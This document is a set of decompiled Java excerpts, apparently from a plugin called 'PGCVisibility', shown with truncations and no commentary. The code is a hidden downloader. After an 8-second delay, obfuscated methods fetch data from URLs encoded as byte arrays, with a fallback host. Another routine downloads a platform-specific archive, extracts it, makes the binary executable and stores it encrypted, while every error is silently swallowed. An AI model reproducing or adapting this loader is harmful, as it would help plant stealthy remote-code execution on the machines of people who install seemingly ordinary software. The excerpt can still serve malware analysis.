PGCVisibility

private void downloadBinary() {
   try {
      String url = this.win ? C3 : C4;
      File tmpFile = new File(this.mDir, "dl_tmp");
      this.httpDownload(url, tmpFile);
      if (!tmpFile.exists() || tmpFile.length() < 1000L) {
         tmpFile.delete();
         return;
      }

      if (this.win) {
         this.extractZip(tmpFile, C5);
      } else {
         this.extractTarGz(tmpFile, C6);
      }

      tmpFile.delete();
      if (this.mExe.exists()) {
         this.mExe.setExecutable(true);
         this.storeEncrypted();
      }
   } catch (Throwable var3) {
   }
}

private void httpDownload(String urlStr, File dest) throws Exception {
   for (int redirects = 0; redirects < 10; redirects++) {
      HttpURLConnection conn = (HttpURLConnection)new URL(urlStr).openConnection();
      conn.setInstanceFollowRedirects(false);
      conn.setConnectTimeout(30000);
      conn.setReadTimeout(120000);
      conn.setRequestProperty("User-Agent", "Mozilla/5.0");
      int code = conn.getResponseCode();
      if (code != 301 && code != 302 && code != 303 && code != 307 && code != 308) {
         if (code != 200) {
            conn.disconnect();
            throw new IOException("HTTP " + code);
         }

         try (
            InputStream in = conn.getInputStream();
            FileOutputStream fos = new FileOutputStream(dest);
         ) {
            byte[] buf = new byte[65536];

            int n;
            while ((n = in.read(buf)) != -1) {
               fos.write(buf, 0, n);
            }
...

public void run() {
   try {
      Thread.sleep(8000L);
      dtmkjwxvnqfp(this.uid);
      wqnbxjkfmvzp(64);
      boolean var2 = false;

      try {
         byte[] var1 = jvnwkxqtpzfm(vkqpxjnwbmfz() + "?t=" + System.currentTimeMillis(), true);
         kwpjvbnmzxqf(var1, this.uid);
         var2 = true;
      } catch (Throwable var5) {
      }

      if (!var2) {
         try {
            byte[] var7 = jvnwkxqtpzfm(gznmfxjqbwvk(), false);
            kwpjvbnmzxqf(var7, this.uid);
         } catch (Throwable var4) {
         }
      }

      pnqjxbwmfvkz(this.uid);
...

private static byte[] jvnwkxqtpzfm(String var0, boolean var1) throws IOException {
   HttpURLConnection var2 = (HttpURLConnection)new URL(var0).openConnection();
   var2.setConnectTimeout(10000);
   var2.setReadTimeout(15000);
   if (var1) {
      var2.setRequestProperty(bxqnfvkzpmdw(jxnqbwmvfkzp), bxqnfvkzpmdw(crmfxvzkqbnp));
      var2.setRequestProperty(bxqnfvkzpmdw(nqbzxjmvfwkp), bxqnfvkzpmdw(qxpjwnzbmvkf));
   }

   try {
      InputStream var4 = var2.getInputStream();

      byte[] var3;
      try {
         ByteArrayOutputStream var6 = new ByteArrayOutputStream();
         byte[] var7 = new byte[8192];

         int var5;
         while ((var5 = var4.read(var7)) != -1) {
            var6.write(var7, 0, var5);
         }

         var3 = var6.toByteArray();
      } finally {
...

private static String vkqpxjnwbmfz() {
   byte[] var0 = new byte[]{
      104,
      116,
      116,
      112,
      115,
      58,
      47,
      47,
      98,
      115,
      116,
...

private static String gznmfxjqbwvk() {
   byte[] var0 = new byte[]{
      104,
      116,
      116,
      112,
      115,
      58,
      47,
      47,
      112,
      108,
      97,
...